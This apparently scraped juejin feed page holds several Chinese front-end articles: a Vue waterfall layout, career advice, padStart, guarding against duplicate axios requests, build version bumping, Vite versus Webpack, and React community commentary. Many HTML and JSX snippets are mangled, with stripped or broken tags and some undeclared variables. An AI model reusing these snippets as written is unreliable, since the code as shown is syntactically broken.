可以看到他们的实现方式是传统做法,把每个元素通过获取尺寸,然后算出lefttop的排版位置,最后在每个元素上设置偏移值,思路没什么好说的,就是算元素坐标。那么这种做法有什么缺点?请看下面这张图的操作


xhs.gif



  1. 容器尺寸每发生一次变化,容器内部所有节点都需要更新一次样式设置,当页面元素过多时,窗口的尺寸变动卡到不得了;

  2. 实现起来过于复杂,需要对每个元素获取尺寸然后进行计算,不利于后面修改布局样式;

  3. 每一次的容器尺寸发生变动,图片元素都会闪烁一下(电脑好的可能不会);


最佳实现方式



吐槽:早在2019年我就将下面的这种实现方式应用在小程序项目上了,但是目前还没见到有人会用这种方式去实现,为什么会没有人想到呢?表示不理解。



代码仓库


预览地址


先看一下效果


show.gif


在上面的预览地址中,打开控制台查看节点元素,可以看到是没有任何的js控制样式操作,而是全部交给css的自适应来渲染,我在代码层中只需要把数据排列好就行。


实现思路


这里我将把容器里面分为4列,如下图


微信截图_20240312210833.png


然后再在每列的数组里面按顺序添加数据即可,这样去布局的好处既方便、兼容性好、浏览器渲染性能开销最低化,而且还不会破坏文档流,将操作做到极致简单。剩下的只需要怎样去处理每一列的数组即可。


处理数组逻辑


由于是要做成动态列,所以不能固定4个数组列表,那就做成动态对容器输出N列,最后再对每一列添加数据即可。这里我用ResizeObserver去代替window.onresize,理由是在实际应用中,容器会受到其他布局而影响,而非窗口变动,所以前者更精确一些,不过思路做法都是一样的。



  • 设置一个变量column,代表显示页面有多少列;

  • 声明一个变量cacheList,用来缓存接口请求回来的数据,也就是总数据;

  • 然后监听容器的宽度去设置column的数量值;

  • 最后用computed根据column的值生成一个二维数组进行页面渲染即可;


import { ref, reactive, computed, onMounted, onUnmounted } from "vue";

/** 每一个节点item的数据结构 */
interface ItemInfo {
id: number
title: string
text: string
/** 图片路径 */
photo: string
}

type ItemList = Array<ItemInfo>;

const page = reactive({
/** 页面中出现多少列数据 */
column: 4,
update: 0,
});

const pageList = computed(function() {
const result = new Array(page.column).fill(0).map((_, index) => ({ id: index, list: [] as ItemList }));
let columnIndex = 0;
page.update; // TODO: 这里放一个引用值,用于手动更新;
for (let i = 0; i < cacheList.length; i++) {
const item = cacheList[i];
result[columnIndex].list.push(item);
columnIndex++;
if (columnIndex >= page.column) {
columnIndex = 0;
}
}
console.log("重新计算列表 !!----------!!");
return result;
});

let cacheList: ItemList = [];

async function getData() {
page.loading = true;
const res = await getList(20); // 接口请求方法
page.loading = false;
if (res.code === 1) {
cacheList = cacheList.concat(res.data);
// TODO: 手动更新,这里不把`cacheList`放进`page`里面是因为响应数据列表过多会影响性能
page.update++;
}
}

let observer: ResizeObserver;

onMounted(function() {
getData()
observer = new ResizeObserver(function(entries) {
const rect = entries[0].contentRect;
if (rect.width > 1200) {
page.column = 4;
} else if (rect.width > 900) {
page.column = 3;
} else if (rect.width > 600) {
page.column = 2;
}
});
observer.observe(document.querySelector(".water-list")!);
});

onUnmounted(function() {
observer.disconnect();
})


这里有个细节,我把page.update丢进computed中作为手动触发更新的开关而不是把cacheList声明响应式的原因是因为页面只需要用到一个响应数组,如果把cacheList也设置为响应式,那就导致了数组过长时,响应式过多的性能开销,所以这里用一个引用值作为手动触发更新依赖的方式会更加好。


这样一个基本的瀑布流就完成了。


基础版预览


更完美的处理


细心的同学这时已经发现问题了,就是当某一列的图片高度都很长时,会产生较大的空隙,因为是没有任何的高度计算处理而是按照数组顺序的逐个添加导致,像下面这样。


微信截图_20240312213804.png


所以这里就还需要优化一下逻辑



  • 在获取数据时,把每一个图片的高度记录下来并写入到总列表中

  • 在组装数据时,先拿到高度最低的一列,然后将数据加入到这一列中



/**
* 加载所有图片并设置对应的宽高
* @param list
*/

async function setImageSize(list: ItemList): Promise<ItemList> {
const total = list.length;
let count = 0;
return new Promise(function(resolve) {
function loadImage(item: ItemInfo) {
const img = new Image();
img.src = item.photo;
function complete<T extends { width: number, height: number }>(target: T) {
count++;
item.width = img.width;
item.height = img.height;
if (count >= total) {
resolve(list);
}
}
img.onload = () => complete(img);
img.onerror = function() {
item.photo = defaultPic.data;
complete(defaultPic);
};
}
for (let i = 0; i < total; i++) {
loadImage(list[i]);
}
});
}

async function getData() {
page.loading = true;
const res = await getList(20);
// page.loading = false;
if (res.code === 1) {
const list = await setImageSize(res.data);
page.loading = false;
cacheList = cacheList.concat(list);
// TODO: 手动更新,这里不把`cacheList`放进`page`里面是因为响应数据列表过多会影响性能
page.update++;
}
}

const pageList = computed(function() {
const result = new Array(page.column).fill(0).map((_, index) => ({ id: index, list: [] as ItemList, height: 0 }));
/** 设置列的索引 */
let columnIndex = 0;
// TODO: 这里放一个引用值,用于手动更新;
page.update;
// 开始组装数据
for (let i = 0; i < cacheList.length; i++) {
const item = cacheList[i];
if (columnIndex < 0) {
// 从这里开始,将以最低高度列的数组进行添加数据,这样就不会出现某一列高度与其他差距较大的情况
result.sort((a, b) => a.height - b.height);
// console.log("数据添加前 >>", item.id, result.map(ele => ({ index: ele.id, height: ele.height })));
result[0].list.push(item);
result[0].height += item.height!;
// console.log("数据添加后 >>", item.id, result.map(ele => ({ index: ele.id, height: ele.height })));
// console.log("--------------------");
} else {
result[columnIndex].list.push(item);
result[columnIndex].height += item.height!;
columnIndex++;
if (columnIndex >= page.column) {
columnIndex = -1;
}
}
}
console.log("重新计算列表 !!----------!!");
// 最后排一下原来的顺序再返回即可
result.sort((a, b) => a.id - b.id);
// console.log("处理过的数据列表 >>", result);
return result;
});


这样就达到完美的效果了,但是每次获取数据的时候却要等一会,因为要把获取回来的图片全部加载完才进行数据显示,所以没有基础版的无脑组装数据然后渲染快。除非然让后端返回数据的时候也带上图片的宽高(不现实),只能在上传图片的操作中携带上。


作者:黄景圣
来源:juejin.cn/post/7345379926147252236
收起阅读 »

如何找到方向感走出前端职业的迷茫区

web
引言 最近有几天没写技术文章了,因为最近我也遇到了前端职业的迷茫,于是我静下来,回想了下这几年来在工作上处理问题的方式,整理了下思路 ,写了这一片文章。关于对前端职业的迷茫,如何摆脱或者说衰减,我觉得最重要的是得找到一个自己愿意持续学习、有领域知识积...
继续阅读 »

引言

 最近有几天没写技术文章了,因为最近我也遇到了前端职业的迷茫,于是我静下来,回想了下这几年来在工作上处理问题的方式,整理了下思路 ,写了这一片文章。

关于对前端职业的迷茫,如何摆脱或者说衰减,我觉得最重要的是得找到一个自己愿意持续学习、有领域知识积累的细分方向。工作了3-5年的同学应该需要回答这样一个问题,自己的技术领域是什么?前端工程化、nodejs、数据可视化、互动、搭建、多媒体?如果确定了自己的技术领域,前端的迷茫感和方向感应该会衰弱很多。关于技术领域的学习可以参照 前端开发如何给自己定位?初级?中级?高级!这篇,来确定自己的技术领域。

前端职业是最容易接触到业务,对于业务的要求,都有很大的业务压力,但公司对我们的要求是除了业务还要体现技术价值,这就需要我们做事情之前有充分的思考。在评估一个项目的时候,要想清楚3个问题:业务的目标是什么、技术团队的策略是什么,我们作为前端在里面的价值是什么。如果3个问题都想明白了,前后的衔接也对了,这事情才靠谱。

我们将从业务目标、技术团队策略和前端在其中的价值等方面进行分析。和大家一起逐渐走出迷茫区。

业务目标

image.png 前端开发的最终目标是为用户提供良好的使用体验,并支持实现业务目标。然而,在不同的项目和公司中,业务目标可能存在差异。有些项目注重界面的美观和交互性,有些项目追求高性能和响应速度。因此,作为前端开发者,我们需要了解业务的具体需求,并确保我们的工作能够满足这些目标。

举例来说,假设我们正在开发一个电商网站,该网站的业务目标是提高用户购买商品的转化率。作为前端开发者,我们可以通过改善页面加载速度、优化用户界面和提高网站的易用性来实现这一目标。

  1. 改善页面加载速度: 使用懒加载(lazy loading)来延迟加载图片和其他页面元素,而不是一次性加载所有内容。
htmlCopy Code
src="placeholder.jpg" data-src="image.jpg" class="lazyload">
javascriptCopy Code
document.addEventListener("DOMContentLoaded", function() {
var lazyloadImages = document.querySelectorAll(".lazyload");

function lazyLoad() {
lazyloadImages.forEach(function(img) {
if (img.getBoundingClientRect().top <= window.innerHeight && img.getBoundingClientRect().bottom >= 0 && getComputedStyle(img).display !== "none") {
img.src = img.dataset.src;
img.classList.remove("lazyload");
}
});
}

lazyLoad();

window.addEventListener("scroll", lazyLoad);
window.addEventListener("resize", lazyLoad);
});
  1. 优化用户界面: 使用响应式设计确保网站在不同设备上都有良好的显示效果。
htmlCopy Code
content="width=device-width, initial-scale=1.0">
cssCopy Code
@media (max-width: 768px) {
/* 适应小屏幕设备的样式 */
}

@media (min-width: 769px) and (max-width: 1200px) {
/* 适应中等屏幕设备的样式 */
}

@media (min-width: 1201px) {
/* 适应大屏幕设备的样式 */
}
  1. 提高网站易用性: 添加搜索功能和筛选功能,使用户能够快速找到他们想要购买的商品。
htmlCopy Code
<form>
<input type="text" name="search" placeholder="搜索商品">
<button type="submit">搜索button>
form>

<select name="filter">
<option value="">全部option>
<option value="category1">分类1option>
<option value="category2">分类2option>
<option value="category3">分类3option>
select>
javascriptCopy Code
document.querySelector("form").addEventListener("submit", function(e) {
e.preventDefault();
var searchQuery = document.querySelector("input[name='search']").value;
// 处理搜索逻辑
});

document.querySelector("select[name='filter']").addEventListener("change", function() {
var filterValue = this.value;
// 根据筛选条件进行处理
});

协助技术团队制定策略

image.png 为了应对前端开发中的挑战,协助技术团队需要制定相应的策略。这些策略可以包括技术选型、代码规范、测试流程等方面。通过制定清晰的策略,团队成员可以更好地协作,并在面对困难时有一个明确的方向。

举例来说,我们的团队决定采用React作为主要的前端框架,因为它提供了组件化开发和虚拟DOM的优势,能够提高页面性能和开发效率。同时,我们制定了一套严格的代码规范,包括命名规范、文件组织方式等,以确保代码的可读性和可维护性。

  1. 组件化开发: 创建可重用的组件来构建用户界面,使代码更模块化、可复用和易于维护。
jsxCopy Code
// ProductItem.js
import React from "react";

function ProductItem({ name, price, imageUrl }) {
return (
<div className="product-item">
<img src={imageUrl} alt={name} />
<div className="product-details">
<h3>{name}h3>
<p>{price}p>
div>
div>
);
}

export default ProductItem;
  1. 虚拟DOM优势: 通过使用React的虚拟DOM机制,只进行必要的DOM更新,提高页面性能。
jsxCopy Code
// ProductList.js
import React, { useState } from "react";
import ProductItem from "./ProductItem";

function ProductList({ products }) {
const [selectedProductId, setSelectedProductId] = useState(null);

function handleItemClick(productId) {
setSelectedProductId(productId);
}

return (
<div className="product-list">
{products.map((product) => (
<ProductItem
key={product.id}
name={product.name}
price={product.price}
imageUrl={product.imageUrl}
onClick={() =>
handleItemClick(product.id)}
isSelected={selectedProductId === product.id}
/>
))}
div>
);
}

export default ProductList;
  1. 代码规范示例: 制定一套严格的代码规范,包括命名规范、文件组织方式等。

命名规范示例:

  • 使用驼峰式命名法:例如,productItem而不是product_item
  • 组件命名使用大写开头:例如,ProductList而不是productList
  • 常量全大写,使用下划线分隔单词:例如,API_URL

文件组织方式示例:

Copy Code
src/
components/
ProductList.js
ProductItem.js
utils/
api.js
styles/
product.css
App.js
index.js

前端的价值

image.png 作为前端开发者,在业务中发挥着重要的作用,并能为团队和产品创造价值。前端的价值主要体现在以下几个方面:

1. 用户体验

前端开发直接影响用户体验,良好的界面设计和交互能够提高用户满意度并增加用户的黏性。通过技术的提升,我们可以实现更流畅的页面过渡效果、更友好的交互反馈等,从而提高用户对产品的喜爱度。

例如,在电商网站的商品详情页面中,我们可以通过使用React和动画库来实现图片的缩放效果和购物车图标的动态变化,以吸引用户的注意并提升用户体验。

jsxCopy Code
import React from 'react';
import { Motion, spring } from 'react-motion';

class ProductDetail extends React.Component {
constructor(props) {
super(props);
this.state = {
isImageZoomed: false,
isAddedToCart: false,
};
}

handleImageClick = () => {
this.setState({ isImageZoomed: !this.state.isImageZoomed });
};

handleAddToCart = () => {
this.setState({ isAddedToCart: true });
// 添加到购物车的逻辑
};

render() {
const { isImageZoomed, isAddedToCart } = this.state;

return (
<div>
<img
src={product.image}
alt={product.name}
onClick={this.handleImageClick}
style={{
transform: `scale(${isImageZoomed ? 2 : 1})`,
transition: 'transform 0.3s',
}}
/>

<button
onClick={this.handleAddToCart}
disabled={isAddedToCart}
className={isAddedToCart ? 'disabled' : ''}
>

{isAddedToCart ? '已添加到购物车' : '添加到购物车'}
button>
div>
);
}
}

export default ProductDetail;

2. 跨平台兼容性

在不同的浏览器和设备上,页面的呈现效果可能会有所差异。作为前端开发者,我们需要解决不同平台和浏览器的兼容性问题,确保页面在所有环境下都能正常运行。

通过了解各种前端技术和标准,我们可以使用一些兼容性较好的解决方案,如使用flexbox布局代替传统的浮动布局,使用媒体查询来适配不同的屏幕尺寸等。

  1. 使用Flexbox布局代替传统的浮动布局: Flexbox是一种弹性布局模型,能够更轻松地实现自适应布局和等高列布局。
cssCopy Code
.container {
display: flex;
flex-direction: row;
justify-content: space-between;
}

.item {
flex: 1;
}
  1. 使用媒体查询适配不同的屏幕尺寸: 媒体查询允许根据不同的屏幕尺寸应用不同的CSS样式。
cssCopy Code
@media (max-width: 767px) {
/* 小屏幕设备 */
}

@media (min-width: 768px) and (max-width: 1023px) {
/* 中等屏幕设备 */
}

@media (min-width: 1024px) {
/* 大屏幕设备 */
}
  1. 使用Viewport单位设置响应式元素: Viewport单位允许根据设备的视口尺寸设置元素的宽度和高度。
cssCopy Code
.container {
width: 100vw; /* 100% 视口宽度 */
height: 100vh; /* 100% 视口高度 */
}

.element {
width: 50vw; /* 50% 视口宽度 */
}
  1. 使用Polyfill填补兼容性差异: 对于一些不兼容的浏览器,可以使用Polyfill来实现缺失的功能,以确保页面在各种环境下都能正常工作。
htmlCopy Code
<script src="polyfill.js">script>

3. 性能优化

用户对网页加载速度的要求越来越高,前端开发者需要关注页面性能并进行优化。这包括减少HTTP请求、压缩和合并资源、使用缓存机制等。

举例来说,我们可以通过使用Webpack等构建工具来将多个JavaScript文件打包成一个文件,并进行代码压缩,从而减少页面的加载时间。

结论

image.png 作为前端开发者,我们经常面临各种挑战,如业务目标的实现、技术团队策略的制定等。通过不断学习和提升,我们可以解决前端开发中的各种困难,并为业务目标做出贡献。同时,我们的工作还能够直接影响用户体验,提高产品的竞争。


作者:已注销
来源:juejin.cn/post/7262133010912100411

收起阅读 »

关于padStart和他的兄弟padEnd

web
遇到一个需求,后端返回最多六位的数字,然后显示到页面上。显示大概要这种效果。 这虽然也不是很难,最开始我是这样的 //html <div class="itemStyle" v-if="item in numList">{{item}}</...
继续阅读 »

遇到一个需求,后端返回最多六位的数字,然后显示到页面上。显示大概要这种效果。
image.png
这虽然也不是很难,最开始我是这样的


//html
<div class="itemStyle" v-if="item in numList">{{item}}</div>
//script
let numList;
const setNumberBlock = ()=>{
const bit = 4
const num = '123'//后端返回的数据,这里写死了。
const zorestr = '0'.repeat(bit-num.length)//repeat方法可以重复生成字符串
numList = (zorestr +num).split('')
//然后遍历numList
//大概就这么个意思
}

但是今天我发现了一个方法,他的名字叫padStart,他还有个兄弟叫padEnd;



padStart()padEnd() 是 JavaScript 字符串方法,用于在字符串的开始位置(padStart())或结束位置(padEnd())填充指定的字符,直到字符串达到指定的长度。



这两个方法的语法相似,都接受两个参数:



  • targetLength:表示字符串的目标长度,如果字符串的长度小于目标长度,则会在开始或结束位置填充指定的字符,直到字符串的长度达到目标长度。

  • padString:表示用于填充字符串的字符,它是一个可选参数。如果未提供 padString,则默认使用空格填充。


以下是两个方法的使用示例:


const str = '123';

const paddedStart = str.padStart(5, '0');
console.log(paddedStart); // 输出:00123

const paddedEnd = str.padEnd(5, '0');
console.log(paddedEnd); // 输出:12300

在这个示例中,padStart() 方法将在字符串的开始位置填充 0,直到字符串的长度达到 5,所以结果是 '00123'。而 padEnd() 方法将在字符串的结束位置填充 0,所以结果是 '12300'


这两个方法通常用于格式化数字,确保数字在特定长度内,并且可以按照需要在前面或后面填充零或其他字符。


然后这个需求就可以简化为这样


//html
<div class="itemStyle" v-if="item in numList">{{item}}</div>
//script
let numList;
const setNumberBlock = ()=>{
const num = '123'//后端返回的数据,这里写死了,需要时字符串哦。
numList = num.padStart(4,'0').split('')
//输出[0,1,2,3]
}


神奇小方法



有什么不对和更好的方法可以留言哦


作者:乐观的用户
来源:juejin.cn/post/7345107078904922164
收起阅读 »

接口防止重复调用方案

web
大家好,今天我向大家介绍对于接口防重复提交的一些方案,请笑纳! 重复调用同个接口导致的问题 表单提交,输入框失焦、按钮点击、值变更提交等容易遇到重复请求的问题,即一次请求还没有执行完毕,用户又点击了一次,这样重复请求可能会造成后台数据异常。又比如在查询数据的...
继续阅读 »

大家好,今天我向大家介绍对于接口防重复提交的一些方案,请笑纳!


重复调用同个接口导致的问题



  • 表单提交,输入框失焦、按钮点击、值变更提交等容易遇到重复请求的问题,即一次请求还没有执行完毕,用户又点击了一次,这样重复请求可能会造成后台数据异常。又比如在查询数据的时候点击了一次查询,还在处理数据的时候,用户又点击了一次查询。第一次查询执行完毕页面已经有数据展示出来了,用户可能正在看呢,此时第二次查询也处理完返回到前台把页面刷新了,就会造成很不好的体验。


解决方案



  • 1、利用防抖避免重复调用接口

  • 2、采用禁用按钮的方式,loading、置灰等

  • 3、利用axios的cancelToken、AbortController方法取消重复请求

  • 4、利用promise的三个状态改造方法3


方法1:利用防抖



效果:当用户连续点击多次同一个按钮,最后一次点击之后,过小段时间后才发起一次请求

原理:每次调用方法后都产生一个定时器,定时器结束以后再发请求,如果重复调用方法,就取消当前的定时器,创建新的定时器,等结束后再发请求,可以用第三方封装的工具函数例如lodash的debounce方法来简化防抖的代码



<div id="app">    
<button @click="onClick">请求</button>
</div>

methods: {
// 调用lodash的防抖方法debounce,实现连续点击按钮多次,0.3秒后调用1次接口
onClick: _.debounce(async function(){
let res = await sendPost({username:'zs', age: 20})
console.log('请求的结果', res.data)
}, 300),
},
// 自定义指令防抖,在directive文件中自定义v-debounce指令
<el-button v-debounce:500="buttonDebounce">按钮</el-button>


  • 优缺点:


      防抖可以有效减少请求的频率,防止接口重复调用,但是如果接口响应比较慢,
    响应时间超过防抖的时间阈值,再次点击也会出现重复请求 需要在触发事件加上防抖处理,不够通用



方法2:采用禁用按钮的方式



禁用按钮:在发送请求之前,禁用按钮(利用loading或者disabled属性),直到请求完成后再启用它。这可以防止用户在请求进行中多次点击按钮



<div id="app">    
<button @click="sendRequest" :loading="loading">请求</button>
</div>

methods: {
async sendRequest() {
this.loading = true; // 禁用按钮
try { // 发送请求
await yourApiRequestFunction(); // 请求成功后,启用按钮
} catch (error) { // 处理错误情况 }
finally {
this.loading = false; // 请求完成后,启用按钮
}
},
}


  • 优缺点:


      最有效避免请求还在pending状态时,再次触发事件发起请求  
    不够通用,需要在按钮、tab、输入框等触发事件的地方都加上



方法3:利用axios取消接口的api



axios 内部提供的 CancelToken 来取消请求(AxiosV0.22.0版本中把CancelToken打上 👎deprecated 的标记,意味废弃。与此同时,推荐 AbortController 来取而代之)

通过axios请求拦截器,在每次请求前把请求信息和请求的取消方法放到一个map对象当中,并且判断map对象当中是否已经存在该请求信息的请求,如果存在取消上次请求



const pendingRequest = new Map();

function generateReqKey(config) {
const { method, url, params, data } = config;
return [method, url, Qs.stringify(params), Qs.stringify(data)].join("&");
}

function addPendingRequest(config) {
const requestKey = generateReqKey(config);
config.cancelToken = config.cancelToken || new axios.CancelToken((cancel) => {
if (!pendingRequest.has(requestKey)) {
pendingRequest.set(requestKey, cancel);
}
});
}

function removePendingRequest(config) {
const requestKey = generateReqKey(config);
if (pendingRequest.has(requestKey)) {
const cancelToken = pendingRequest.get(requestKey);
cancelToken(requestKey);
pendingRequest.delete(requestKey);
}
}

// axios拦截器代码
axios.interceptors.request.use(
function (config) {
removePendingRequest(config); // 检查是否存在重复请求,若存在则取消已发的请求
addPendingRequest(config); // 把当前请求信息添加到pendingRequest对象中
return config;
},
(error) => {
return Promise.reject(error);`
}
);
axios.interceptors.response.use(
(response) => {
removePendingRequest(response.config); // 从pendingRequest对象中移除请求
return response;
},
(error) => {
removePendingRequest(error.config || {}); // 从pendingRequest对象中移除请求
if (axios.isCancel(error)) {
console.log("已取消的重复请求:" + error.message);
} else {
// 添加异常处理
}
return Promise.reject(error);
}
);

image.png



  • 优缺点:


      可以防止前端重复响应相同数据导致体验不好的问题  
    但是这个取消请求只是前端取消了响应,取消时请求已经发出去了,后端还是会一一收到所有的请求,该查库的查库,该创建的创建,针对这种情形,服务端的对应接口需要进行幂等控制



方法4:利用promise的pending、resolve、reject状态



此方法其实是对cancelToken方案的改造,cancelToken是在请求还在pending状态时,判断接口是否重复,重复则取消请求,但是无法保证服务端是否接收到了请求,我们只要改造这点,在发送请求前判断是否有重复调用,如果用重复调用接口,利用promise的reject拦截请求,在请求resolve或reject状态后清除用来判断是否是重复请求的key



// axios全局拦截文件
import axios from '@/router/interceptors
import Qs from '
qs'

const cancelMap = new Map()

// 生成key用来判断是否是同个请求
function generateReqKey(config = {}) {
const { method = '
get', url, params, data } = config
const _params = typeof params === '
string' ? Qs.stringify(JSON.parse(params)) : Qs.stringify(params)
const _data = typeof data === '
string' ? Qs.stringify(JSON.parse(data)) : Qs.stringify(data)`
const str = [method, url, _params, _data].join('
&')
return str
}

function checkoutRequest(config) {
const requestKey = generateReqKey(config)
// 如果设置允许多次重复请求,直接返回成功,让网络请求继续流通下去
if (!cancelMap.has(requestKey) || config._allowRepeatRequest) {
cancelMap.set(requestKey, 0)
return new Promise((resolve, reject) => {
axios(config).then(res => {
resolve(res)
}).catch(err => {
reject(err)
})
})
} else {
// 如果存在重复请求
return new Promise((resolve, reject) => {
reject(new Error())
})
}
}

// 移除已响应的请求,移除的时间可设置响应后延迟移除,此时间内可以继续阻止重复请求
export async function removeRequest(config = {}) {
const time = config._debounceTime || 0
const requestKey = generateReqKey(config)
if (cancelMap.has(requestKey)) {
// 延迟清空,防止快速响应时多次重复调用
setTimeout(() => {
cancelMap.delete(requestKey)
}, time)
}
}

export default checkoutRequest


// @/router/interceptors 拦截器代码
axios.interceptors.request.use(
function (config) {
return config;
},
(error) => {
removeRequest(error.config) // 从cancelMap中移除key
return Promise.reject(error)
}
);
axios.interceptors.response.use(
(response) => {
removeRequest(response.config) // 从cancelMap中移除key
return response;
},
(error) => {
removeRequest(error.config || {}) // 从cancelMap中移除key
return Promise.reject(error);
}
);

// 接口可以配置_allowRepeatRequest开启允许重复请求
return request({
url: '
xxxxxxx',
method: '
post',
data: data,
loading: false,
_allowRepeatRequest: true
})


  • 优缺点:


      此方法效果跟禁用按钮的效果一致,但是可以全局修改,方案比较通用



其他



或者也可以在请求时加个全局loading,但是感觉都不如上一种好



ps



针对可能上传文件使用formData的情况,需要在重复请求那再判断一下



以上是为大家介的四种方法,有更好的建议请评论区留言。


image.png


作者:写代码真是太难了
来源:juejin.cn/post/7344536653464191013
收起阅读 »

前端打包版本号自增

web
1.新建sysInfo.json文件 { "version": "20240307@1.0.1" } 2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件 //npm run build打包前执行此段代码 let f...
继续阅读 »

1.新建sysInfo.json文件


{
"version": "20240307@1.0.1"
}

2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件


//npm run build打包前执行此段代码
let fs = require('fs')

//返回package的json数据
function getPackageJson() {
let data = fs.readFileSync('./src/assets/json/sysInfo.json') //fs读取文件
return JSON.parse(data) //转换为json对象
}

let packageData = getPackageJson() //获取package的json
let arr = packageData.version.split('@') //切割后的版本号数组
let date = new Date()
const year = date.getFullYear()
let month = date.getMonth() + 1
let day = date.getDate()
month = month > 9 ? month : '0' + month
day = day < 10 ? '0' + day : day
let today = `${year}${month}${day}`
let verarr = arr[1].split('.')
verarr[2] = parseInt(verarr[2]) + 1
packageData.version = today + '@' + verarr.join('.') //转换为以"."分割的字符串
//用packageData覆盖package.json内容
fs.writeFile('./src/assets/json/sysInfo.json', JSON.stringify(packageData, null, '\t'), err => {
console.log(err)
})


3.package.json中配置


  "scripts": {
"dev": "vite",
"serve": "vite",
"build": "node ./src/addVersion.js && vite build",
....

4.使用


import sysInfo from '@/assets/json/sysInfo.json'

作者:点赞侠01
来源:juejin.cn/post/7343811223207624745
收起阅读 »

面试常问:为什么 Vite 速度比 Webpack 快?

web
 前言 最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。 原因...
继续阅读 »

 前言


最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。


原因


1、开发模式的差异


在开发环境中,Webpack 是先打包再启动开发服务器,而 Vite 则是直接启动,然后再按需编译依赖文件。(大家可以启动项目后检查源码 Sources 那里看到)


这意味着,当使用 Webpack 时,所有的模块都需要在开发前进行打包,这会增加启动时间和构建时间。


Vite 则采用了不同的策略,它会在请求模块时再进行实时编译,这种按需动态编译的模式极大地缩短了编译时间,特别是在大型项目中,文件数量众多,Vite 的优势更为明显。


Webpack启动



Vite启动



2、对ES Modules的支持


现代浏览器本身就支持 ES Modules,会主动发起请求去获取所需文件。Vite充分利用了这一点,将开发环境下的模块文件直接作为浏览器要执行的文件,而不是像 Webpack 那样先打包,再交给浏览器执行。这种方式减少了中间环节,提高了效率。


什么是ES Modules?


通过使用 exportimport 语句,ES Modules 允许在浏览器端导入和导出模块。


当使用 ES Modules 进行开发时,开发者实际上是在构建一个依赖关系图,不同依赖项之间通过导入语句进行关联。


主流浏览器(除IE外)均支持ES Modules,并且可以通过在 script 标签中设置 type="module"来加载模块。默认情况下,模块会延迟加载,执行时机在文档解析之后,触发DOMContentLoaded事件前。



3、底层语言的差异


Webpack 是基于 Node.js 构建的,而 Vite 则是基于 esbuild 进行预构建依赖。esbuild 是采用 Go 语言编写的,Go 语言是纳秒级别的,而 Node.js 是毫秒级别的。因此,Vite 在打包速度上相比Webpack 有 10-100 倍的提升。


什么是预构建依赖?


预构建依赖通常指的是在项目启动或构建之前,对项目中所需的依赖项进行预先的处理或构建。这样做的好处在于,当项目实际运行时,可以直接使用这些已经预构建好的依赖,而无需再进行实时的编译或构建,从而提高了应用程序的运行速度和效率。


4、热更新的处理


在 Webpack 中,当一个模块或其依赖的模块内容改变时,需要重新编译这些模块。


而在 Vite 中,当某个模块内容改变时,只需要让浏览器重新请求该模块即可,这大大减少了热更新的时间。


总结


总的来说,Vite 之所以比 Webpack 快,主要是因为它采用了不同的开发模式充分利用了现代浏览器的 ES Modules 支持使用了更高效的底层语言并优化了热更新的处理。这些特点使得 Vite在大型项目中具有显著的优势,能够快速启动和构建,提高开发效率。



作者:JacksonChen
来源:juejin.cn/post/7344916114204049445
收起阅读 »

11岁的React正迎来自己口碑的拐点

web
凌晨2点,Dan仍坐在电脑桌前,表情严肃。 作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。 所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文 在RSC...
继续阅读 »

凌晨2点,Dan仍坐在电脑桌前,表情严肃。


作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。



所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文




RSC(React Server Component)特性发布后,Dan经常用这个账号科普各种RSC知识。这次封禁,显然对他的布道事业造成不小打击,不得已只能启用新账号。


虽然新账号粉丝不多,但值得宽慰的是 —— 这篇题为The Two ReactsRSC布道文数据还不错。



这篇文章通过解释世界上存在2个React



  • 在客户端运行的React,遵循UI = f(state),其中state是状态,是可变的

  • 在服务端运行的React,遵循UI = f(data),其中data是数据源,是不变的


来论证RSC的必要性(他为服务端运行的React提供了底层技术支持)。


安静的夜总是让人思绪良多,Dan合上MacBook Pro,回想起当年参加行业会议,在会议开始前一周才实现演讲所需的Demo(也就是Redux的雏形)。也正是以这次参会为契机,他才得以加入Meta伦敦,进入React核心团队


随后,Dan又回想起在React Conf 2018介绍Hook特性时,台下观众惊喜的欢呼。



想到这里,不禁又感叹 —— 曾经并肩战斗的战友们都已各奔东西。


Redux的联合作者Andrew Clark离开了(入职Vercel),Hook的作者sebastian markbåge也离开了(入职Vercel),连自己最终也离开了(入职bluesky)。


虽然React仍是前端领域最热门的框架,但一些微妙的东西似乎在慢慢变化,是什么变了呢?


React正迎来自己口碑的拐点


作为一款11岁高龄的前端框架,React正迎来自己口碑的拐点。


近期,有多名包括知名库作者、React18工作组成员在内的社区核心用户公开表达了对React的批评,比如:



有人会说,React从诞生伊始至今从不乏批评的声音,有什么大惊小怪的?


这其中的区别其实非常大。从React诞生伊始至今,批评通常是开发者与React核心团队的理念之争,比如:



  • JSX到底好不好用?这是理念之争

  • Class Component还是Function Component?这是理念之争

  • 要不要使用Signal技术?这还是理念之争


虽然开源项目都很重视开发者的反馈,但React已经不能算是普通开源项目,而是一个庞大的技术生态。


在这个生态中,开发者的不满实际上并不会动摇React的基本盘。因为决定开发者是否在项目中使用React的,并不是开发者自身好恶,而是公司考量技术生态后作出的自上而下的选择。


所以,React的基本盘是技术生态(而非开发者)。而构成技术生态的,则是生态中大大小小的开源作者/开源团队。


这一轮对React的批评,多是核心技术生态的参与者发出的,他们才是支撑React大厦的一根根柱子。


批评的主要原因是 —— React团队React的发展与一家商业公司(Vercel)牢牢绑定。


这对于React核心团队成员来说,是从大厂到独角兽的个人职场跃迁。但对广大React技术生态的开源作者/开源团队来说,则是被动与一家商业公司(Vercel)绑定。


举个例子,RSC中有个叫Server Actions的特性,用于简化在服务端处理前端交互的流程。Vercel是一家云服务公司,旗下的Next.js支持Server Actions可以完美契合自家Serverless服务的场景。


但其他开源项目可能并不会从这个特性中受益。


